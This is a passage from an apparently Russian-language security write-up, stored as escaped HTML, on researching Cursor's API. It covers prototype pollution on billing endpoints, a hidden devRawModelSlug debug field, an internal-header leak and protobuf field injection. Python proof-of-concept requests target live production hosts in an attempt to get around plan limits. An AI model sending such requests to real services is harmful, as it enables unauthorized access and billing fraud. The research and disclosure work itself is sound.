\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043f\u0443\u0442\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438<\/p>\n<h4>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/h4>\n<p>JSON-\u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u044b Cursor \u043f\u0430\u0440\u0441\u044f\u0442 \u0442\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0431\u0435\u0437 \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u0438 <code>__proto__<\/code>. \u041f\u0440\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0435 payload \u0441 <code>__proto__<\/code> \u0441\u0435\u0440\u0432\u0435\u0440 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 <code>500 Internal Server Error<\/code> \u0432\u043c\u0435\u0441\u0442\u043e \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0433\u043e <code>400 Cannot upgrade free user<\/code>.<\/p>\n<h4>PoC<\/h4>\n<pre><code class=\"python\">import httpx, jsonpayload = {    \"tier\": \"pro\",    \"__proto__\": {        \"membershipType\": \"pro\",        \"hasActiveSubscription\": True    }}r = httpx.post(    \"https:\/\/api2.cursor.sh\/auth\/start-subscription-now\",    content=json.dumps(payload).encode(),    headers={        \"authorization\": \"Bearer &lt;token&gt;\",        \"content-type\": \"application\/json\"    })print(r.status_code, r.text)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<h4>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f<\/h4>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\">Payload<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u043e\u0442\u0432\u0435\u0442<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u0424\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0442\u0432\u0435\u0442<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>{\"tier\": \"pro\"}<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">400 \u201cCannot upgrade free user\u201d<\/p>\n<\/td>\n<td>\n<p align=\"left\">400 \u2713<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>{\"tier\": \"pro\", \"__proto__\": {...}}<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">400<\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>500 \u201cError\u201d<\/strong> \u2717<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>{\"constructor\": {\"prototype\": {...}}}<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">400<\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>500 \u201cError\u201d<\/strong> \u2717<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>{\"__proto__\": {\"tier\": \"pro\"}}<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">400<\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>500 \u201cError\u201d<\/strong> \u2717<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p><strong>\u0412\u0441\u0435 10 \u0432\u0430\u0440\u0438\u0430\u0446\u0438\u0439<\/strong> \u0441 <code>__proto__<\/code> \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 500 \u0432\u043c\u0435\u0441\u0442\u043e 400. \u042d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043e\u0431\u044a\u0435\u043a\u0442 prototype chain \u0437\u0430\u0433\u0440\u044f\u0437\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438, \u0432\u044b\u0437\u044b\u0432\u0430\u044f \u043d\u0435\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435.<\/p>\n<p>\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043d\u0430 <code>ActivatePromotion<\/code>:<\/p>\n<pre><code class=\"python\"># \u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442: \"Unknown promo type id\"payload = {\"promoTypeId\": \"test\"}# \u0421 __proto__: \"invalid_argument\" (\u0414\u0420\u0423\u0413\u0410\u042f \u043e\u0448\u0438\u0431\u043a\u0430!)payload = {\"promoTypeId\": \"test\", \"__proto__\": {\"isValid\": True}}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u042d\u043d\u0434\u043f\u043e\u0438\u043d\u0442 <code>ActivatePromotion<\/code> \u0441 <code>__proto__<\/code> \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 <code>invalid_argument<\/code> \u0432\u043c\u0435\u0441\u0442\u043e <code>Unknown promo type id<\/code> \u2014 pollution \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u0443\u0442\u044c \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438.<\/p>\n<h4>\u0418\u043c\u043f\u0430\u043a\u0442<\/h4>\n<ul>\n<li>\n<p><strong>DoS<\/strong>: \u043b\u044e\u0431\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c 500-\u043a\u0443 \u043d\u0430 billing endpoints<\/p>\n<\/li>\n<li>\n<p><strong>\u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f<\/strong>: \u0435\u0441\u043b\u0438 pollution \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u0435\u0442 \u0432 shared state (\u043c\u0430\u043b\u043e\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0432 production, \u043d\u043e \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b)<\/p>\n<\/li>\n<\/ul>\n<hr\/>\n<h3>5. CVE-2: devRawModelSlug \u2014 \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440 (CWE-489)<\/h3>\n<p><strong>Severity<\/strong>: Medium (Active Debug Code in Production) <strong>Field<\/strong>: <code>AgentRunRequest.dev_raw_model_slug<\/code> (proto field 18) <strong>Impact<\/strong>: \u041d\u0430\u043b\u0438\u0447\u0438\u0435 dev-\u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u043f\u0440\u044f\u043c\u043e\u0433\u043e bypass model routing \u0432 production<\/p>\n<h4>\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435<\/h4>\n<p>\u041f\u0440\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 <strong>\u0432\u0441\u0435\u0445<\/strong> proto-\u043f\u043e\u043b\u0435\u0439 (1-50) \u043d\u0430 <code>AgentRunRequest<\/code>:<\/p>\n<pre><code class=\"python\">for field_num in range(1, 51):    extra = proto_field(field_num, wire_type=2, value=\"pro\")    body = build_agent_request(\"gpt-4o\", extra_fields=extra)    response = send(body)    if \"Free plans\" not in response:        print(f\"!!! field {field_num}: {response}\")<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u043e\u043b\u044f 6, 7, 8, 10-17 \u2192 parse error \u0438\u043b\u0438 plan_block (\u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e). <strong>\u041f\u043e\u043b\u0435 18<\/strong> \u2192 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442:<\/p>\n<pre><code>devRawModelSlug is not available<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<h4>\u0410\u043d\u0430\u043b\u0438\u0437<\/h4>\n<ol>\n<li>\n<p><strong>\u041f\u043e\u043b\u0435 18 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u043c \u043a\u043e\u0434\u0435<\/strong> \u2014 grep \u043f\u043e 1.1M \u0441\u0442\u0440\u043e\u043a \u043d\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442 <code>devRawModelSlug<\/code> \u0432 proto-\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430<\/p>\n<\/li>\n<li>\n<p><strong>\u0421\u0435\u0440\u0432\u0435\u0440 \u0435\u0433\u043e \u043f\u0430\u0440\u0441\u0438\u0442 \u0438 \u0432\u0430\u043b\u0438\u0434\u0438\u0440\u0443\u0435\u0442<\/strong> \u2014 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0430 \u043d\u0435 generic parse error<\/p>\n<\/li>\n<li>\n<p><strong>\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0414\u041e plan check<\/strong> \u2014 \u043f\u0440\u0438 <code>f3=default<\/code> (\u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 free check) + <code>f18=gpt-4o<\/code> \u2192 \u043e\u0448\u0438\u0431\u043a\u0430 devRawModelSlug, \u0430 \u043d\u0435 plan_block<\/p>\n<\/li>\n<li>\n<p><strong>\u041e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u043d\u0430 \u0412\u0421\u0415\u0425 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445<\/strong>:<\/p>\n<\/li>\n<\/ol>\n<pre><code>api2.cursor.sh                         \u2192 \"devRawModelSlug is not available\"agent.api5.cursor.sh                   \u2192 \"devRawModelSlug is not available\"agentn.api5.cursor.sh                  \u2192 \"devRawModelSlug is not available\"agent-gcpp-uswest.api5.cursor.sh       \u2192 \"devRawModelSlug is not available\"agentn-gcpp-eucentral.api5.cursor.sh   \u2192 \"devRawModelSlug is not available\"agentn-gcpp-apsoutheast.api5.cursor.sh \u2192 \"devRawModelSlug is not available\"<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<h4>PoC<\/h4>\n<pre><code class=\"python\">import structdef varint(v):    r = bytearray()    while v &gt; 0x7f:        r.append((v &amp; 0x7f) | 0x80)        v &gt;&gt;= 7    r.append(v &amp; 0x7f)    return bytes(r)def proto_field(num, wire_type, value):    tag = varint((num &lt;&lt; 3) | wire_type)    if wire_type == 2:  # length-delimited        data = value.encode() if isinstance(value, str) else value        return tag + varint(len(data)) + data    return b''# \u041f\u043e\u043b\u0435 18 = devRawModelSlug \u0441 \u0438\u043c\u0435\u043d\u0435\u043c premium-\u043c\u043e\u0434\u0435\u043b\u0438field_18 = proto_field(18, 2, \"gpt-4o\")# \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u043f\u043e\u043b\u044f AgentRunRequestmodel_details = proto_field(1, 2, \"default\")  # field 3: \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 plan checkrun_request = (    proto_field(1, 2, b'') +             # conversation_state    proto_field(2, 2, action_bytes) +     # action    proto_field(3, 2, model_details) +    # model_details = \"default\"    proto_field(5, 2, conv_id) +          # conversation_id    proto_field(9, 2, requested_model) +  # requested_model    proto_field(16, 2, group_id) +        # conversation_group_id    field_18                               # devRawModelSlug = \"gpt-4o\")# Connect-RPC framingbody = struct.pack('&gt;BI', 0, len(outer)) + outer + struct.pack('&gt;BI', 2, 0)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<h4>\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e CWE-489<\/h4>\n<p><code>devRawModelSlug<\/code> \u2014 \u044d\u0442\u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 <strong>\u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0443\u043a\u0430\u0437\u0430\u0442\u044c backend-\u043c\u043e\u0434\u0435\u043b\u044c<\/strong>, \u043c\u0438\u043d\u0443\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0443\u044e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044e. \u0412 production \u043e\u043d \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d, \u043d\u043e:<\/p>\n<ul>\n<li>\n<p>\u041a\u043e\u0434 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 <strong>\u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442<\/strong> \u0432 production-\u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0435<\/p>\n<\/li>\n<li>\n<p>\u0421\u0435\u0440\u0432\u0435\u0440 <strong>\u043f\u0430\u0440\u0441\u0438\u0442 \u0438 \u0432\u0430\u043b\u0438\u0434\u0438\u0440\u0443\u0435\u0442<\/strong> \u044d\u0442\u043e \u043f\u043e\u043b\u0435 (\u043d\u0435 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u0442)<\/p>\n<\/li>\n<li>\n<p>\u041e\u0448\u0438\u0431\u043a\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 <strong>\u0438\u043c\u044f \u043f\u043e\u043b\u044f<\/strong>, \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u044e\u044e \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443<\/p>\n<\/li>\n<li>\n<p>\u0415\u0441\u043b\u0438 \u0444\u043b\u0430\u0433 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0431\u0443\u0434\u0435\u0442 \u0441\u043d\u044f\u0442 (\u043e\u0448\u0438\u0431\u043a\u0430 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, feature flag), \u043f\u043e\u043b\u0435 <strong>\u043c\u0433\u043d\u043e\u0432\u0435\u043d\u043d\u043e \u0441\u0442\u0430\u043d\u0435\u0442 \u0440\u0430\u0431\u043e\u0447\u0438\u043c<\/strong><\/p>\n<\/li>\n<\/ul>\n<hr\/>\n<h3>6. CVE-3: Internal Service Header Leak (CWE-200)<\/h3>\n<p><strong>Endpoint<\/strong>: <code>GET \/agent.v1.AgentService\/GetAllowedModelIntents<\/code> <strong>Impact<\/strong>: \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e service mesh<\/p>\n<h4>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/h4>\n<p>\u041c\u0435\u0442\u043e\u0434 <code>GetAllowedModelIntents<\/code> \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u043c JS:<\/p>\n<pre><code class=\"javascript\">getAllowedModelIntents: {    name: \"GetAllowedModelIntents\",    I: QCm,  \/\/ request type    O: XCm,  \/\/ response type    kind: vn.Unary}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u0440\u0438 \u0432\u044b\u0437\u043e\u0432\u0435 \u0441 \u043e\u0431\u044b\u0447\u043d\u044b\u043c Bearer-\u0442\u043e\u043a\u0435\u043d\u043e\u043c:<\/p>\n<pre><code>HTTP 401: \"Invalid internal service header\"<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<h4>\u0410\u043d\u0430\u043b\u0438\u0437<\/h4>\n<p>\u041e\u0442\u0432\u0435\u0442 <code>\"Invalid internal service header\"<\/code> \u0432\u043c\u0435\u0441\u0442\u043e generic <code>401 Unauthorized<\/code> \u0438\u043b\u0438 <code>404 Not Found<\/code> \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442:<\/p>\n<ol>\n<li>\n<p><strong>\u042d\u043d\u0434\u043f\u043e\u0438\u043d\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442<\/strong> \u0438 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f (\u043d\u0435 404)<\/p>\n<\/li>\n<li>\n<p><strong>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f service-to-service \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f<\/strong> (\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a)<\/p>\n<\/li>\n<li>\n<p><strong>\u0415\u0441\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438<\/strong> \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432<\/p>\n<\/li>\n<\/ol>\n<p>\u0411\u0440\u0443\u0442\u0444\u043e\u0440\u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 (25+ \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u0439) \u043d\u0435 \u0434\u0430\u043b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u2014 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0442\u043e\u043a\u0435\u043d \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u043c \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e.<\/p>\n<hr\/>\n<h3>7. CVE-4: Protobuf Field Injection &amp; Wire Type Confusion<\/h3>\n<h4>7.1 \u0414\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 field 3 (Double Field Injection)<\/h4>\n<p>Protobuf \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043e\u0434\u043d\u043e \u0438 \u0442\u043e \u0436\u0435 \u043f\u043e\u043b\u0435 \u0434\u0432\u0430\u0436\u0434\u044b. \u041f\u043e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0434\u043b\u044f singular-\u043f\u043e\u043b\u0435\u0439 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u0431\u0435\u0436\u0434\u0430\u0435\u0442. \u041d\u043e \u0447\u0442\u043e \u0435\u0441\u043b\u0438 plan check \u0438 routing \u0447\u0438\u0442\u0430\u044e\u0442 \u0440\u0430\u0437\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f?<\/p>\n<pre><code class=\"python\"># \u0414\u0432\u0430 \u043f\u043e\u043b\u044f field 3: \u0441\u043d\u0430\u0447\u0430\u043b\u0430 opus, \u043f\u043e\u0442\u043e\u043c defaultmd_opus = proto_field(1, 2, \"claude-4-opus\")md_default = proto_field(1, 2, \"default\")run_request = (    proto_field(3, 2, md_opus) +    # \u043f\u0435\u0440\u0432\u044b\u0439 model_details    proto_field(3, 2, md_default) +  # \u0432\u0442\u043e\u0440\u043e\u0439 model_details    # ...)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p><strong>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442<\/strong>: \u0441\u0435\u0440\u0432\u0435\u0440 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0431\u0435\u0440\u0451\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043e\u0431\u043e\u0438\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a. Bypass \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043d\u043e \u0441\u0435\u0440\u0432\u0435\u0440 <strong>\u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442<\/strong> \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043f\u043e\u043b\u0435 \u2014 \u044d\u0442\u043e \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0430 strict parsing.<\/p>\n<h4>7.2 Wire Type Confusion<\/h4>\n<p>\u041e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 <code>model_id<\/code> (\u043e\u0431\u044b\u0447\u043d\u043e string, wire type 2) \u043a\u0430\u043a varint (wire type 0):<\/p>\n<pre><code class=\"python\"># \u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e: field 1, wire type 2 (string), value \"default\"normal = b'\\x0a\\x07default'# \u0410\u0442\u0430\u043a\u0430: field 1, wire type 0 (varint), value 0confused = b'\\x08\\x00'  # (1 &lt;&lt; 3) | 0 = 0x08, varint 0<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p><strong>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442<\/strong>: <code>parse binary: illegal tag<\/code> \u2014 \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442. \u041f\u0430\u0440\u0441\u0435\u0440 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0442\u0440\u043e\u0433\u0438\u0439.<\/p>\n<h4>7.3 Subagent Field Injection<\/h4>\n<p>\u041f\u043e\u043b\u044f 14 (<code>selected_subagent_models<\/code>) \u0438 15 (<code>selected_subagent_model_details<\/code>) \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0442 premium-\u043c\u043e\u0434\u0435\u043b\u0438 <strong>\u0431\u0435\u0437 plan check<\/strong>:<\/p>\n<pre><code class=\"python\">run_request = (    proto_field(3, 2, model_details(\"default\")) +   # plan check \u2713    proto_field(14, 2, requested_model(\"gpt-4o\")) +  # no plan check!    proto_field(15, 2, model_details(\"gpt-4o\")) +    # no plan check!)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0417\u0430\u043f\u0440\u043e\u0441 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0438 \u0441\u0442\u0440\u0438\u043c\u0438\u0442\u0441\u044f. \u041e\u0434\u043d\u0430\u043a\u043e, \u043f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043e\u0442\u0432\u0435\u0442\u0430 \u2014 <strong>\u043c\u043e\u0434\u0435\u043b\u044c-\u043e\u0442\u0432\u0435\u0442\u0447\u0438\u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u0430<\/strong> \u043e\u0431\u044b\u0447\u043d\u043e\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u0441 \u201cdefault\u201d (Codex 5.3). \u041f\u043e\u043b\u044f 14\/15 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u0440\u0438 routing, \u043d\u043e <strong>\u043d\u0435 \u0432\u0430\u043b\u0438\u0434\u0438\u0440\u0443\u044e\u0442\u0441\u044f<\/strong> \u2014 \u044d\u0442\u043e \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0435\u0442 attack surface \u043f\u0440\u0438 \u0431\u0443\u0434\u0443\u0449\u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u0445.<\/p>\n<hr\/>\n<h3>8. \u0427\u0442\u043e \u0435\u0449\u0451 \u0431\u044b\u043b\u043e \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e (\u0431\u0435\u0437 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430)<\/h3>\n<p>\u0414\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0442\u044b \u043a\u0430\u0440\u0442\u0438\u043d\u044b \u2014 \u043f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u043a\u0442\u043e\u0440\u043e\u0432:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\">\u0412\u0435\u043a\u0442\u043e\u0440<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Model name bruteforce (42 \u043c\u043e\u0434\u0435\u043b\u0438)<\/p>\n<\/td>\n<td>\n<p align=\"left\">Plan blocked<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f 